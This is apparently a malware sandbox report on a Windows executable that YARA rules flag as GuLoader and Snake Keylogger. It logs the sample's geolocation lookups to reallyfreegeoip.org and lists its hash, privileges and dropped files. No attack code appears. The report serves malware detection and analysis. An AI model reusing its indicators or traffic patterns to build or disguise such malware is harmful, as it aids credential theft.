2025-03-07 20:24:59 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49696	104.21.48.1	443	6284	C:\Users\user\Desktop\NDCNDvC27F.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 20:25:01 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-03-07 20:25:01 UTC	856	IN	HTTP/1.1 200 OK Date: Fri, 07 Mar 2025 20:25:01 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 138219 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Thu, 06 Mar 2025 06:01:21 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ruWPT4zUk8vH%2FQDlkqQqldIncSX%2Bpr9ryC5Ax0uRBJoE0Bdem8no4sXBBnjM5F6JblcHHbWAec0YNI2la9EO8MBtLhrQttb1%2Bn8MlBzN1qy5PHLqgKhzm6ICYx8uTfegkJvvRa41"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91ccd1d9ba2d8dc0-MIA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=23143&min_rtt=21525&rtt_var=6985&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=160657&cwnd=249&unsent_bytes=0&cid=483ff42a98714225&ts=694&x=0"
2025-03-07 20:25:01 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49698	104.21.48.1	443	6284	C:\Users\user\Desktop\NDCNDvC27F.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 20:25:09 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-03-07 20:25:09 UTC	855	IN	HTTP/1.1 200 OK Date: Fri, 07 Mar 2025 20:25:09 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cf-Ray: 91ccd20af92c2878-MIA Server: cloudflare Age: 138227 Cache-Control: max-age=31536000 Cf-Cache-Status: HIT Last-Modified: Thu, 06 Mar 2025 06:01:21 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lnOsxAObyIacNOmDClA%2F7sQ91sXyGHPE2Ou5HRk3J5lPtxsrFxnuDeJFMGoIgSX5t1Imh047DOQnhJj2LPbGTOyE4jtzlGjRyEutb%2BT3akznS6wfu2sf6MdybaZBnGzgJrnsx8lw"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=24021&min_rtt=22710&rtt_var=6416&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2850&recv_bytes=699&delivery_rate=152425&cwnd=220&unsent_bytes=0&cid=6a8c30a479e261eb&ts=2358&x=0"
2025-03-07 20:25:09 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Target ID:	0
Start time:	15:22:59
Start date:	07/03/2025
Path:	C:\Users\user\Desktop\NDCNDvC27F.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\NDCNDvC27F.exe"
Imagebase:	0x400000
File size:	1'016'632 bytes
MD5 hash:	429E48D78BF4BF8403C99C46E6514840
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.2274138658.000000000483F000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	15:24:38
Start date:	07/03/2025
Path:	C:\Users\user\Desktop\NDCNDvC27F.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\NDCNDvC27F.exe"
Imagebase:	0x400000
File size:	1'016'632 bytes
MD5 hash:	429E48D78BF4BF8403C99C46E6514840
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000009.00000002.2558182714.0000000033E41000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report NDCNDvC27F.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\Templates\dinosaurusserne.lnk

C:\Users\Public\Documents\stempelpudernes.lnk

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\premierminister\raastofindvindinger\pulpitical\Afguderiets150.txt

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\premierminister\raastofindvindinger\pulpitical\Quadrinominal\Catadicrotic.txt

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\premierminister\raastofindvindinger\pulpitical\Quadrinominal\Nonrival.The

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\premierminister\raastofindvindinger\pulpitical\Smalningen.Ran

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\premierminister\raastofindvindinger\pulpitical\tofrontskrige\Devoutnesses.txt

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\premierminister\raastofindvindinger\pulpitical\tofrontskrige\Fibrocartilaginous.eut

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\premierminister\raastofindvindinger\pulpitical\tofrontskrige\Flugtningerne.con

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\premierminister\raastofindvindinger\pulpitical\tofrontskrige\Parkgsterne.jpg

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\premierminister\raastofindvindinger\pulpitical\tofrontskrige\Unhealthfully.fet

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\premierminister\raastofindvindinger\pulpitical\tofrontskrige\hf.udp

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\premierminister\raastofindvindinger\pulpitical\tofrontskrige\indberegne.ini

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\premierminister\raastofindvindinger\pulpitical\tofrontskrige\stepmotherly.txt

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\premierminister\raastofindvindinger\pulpitical\tofrontskrige\vejenes.dre

Windows Analysis Report
NDCNDvC27F.exe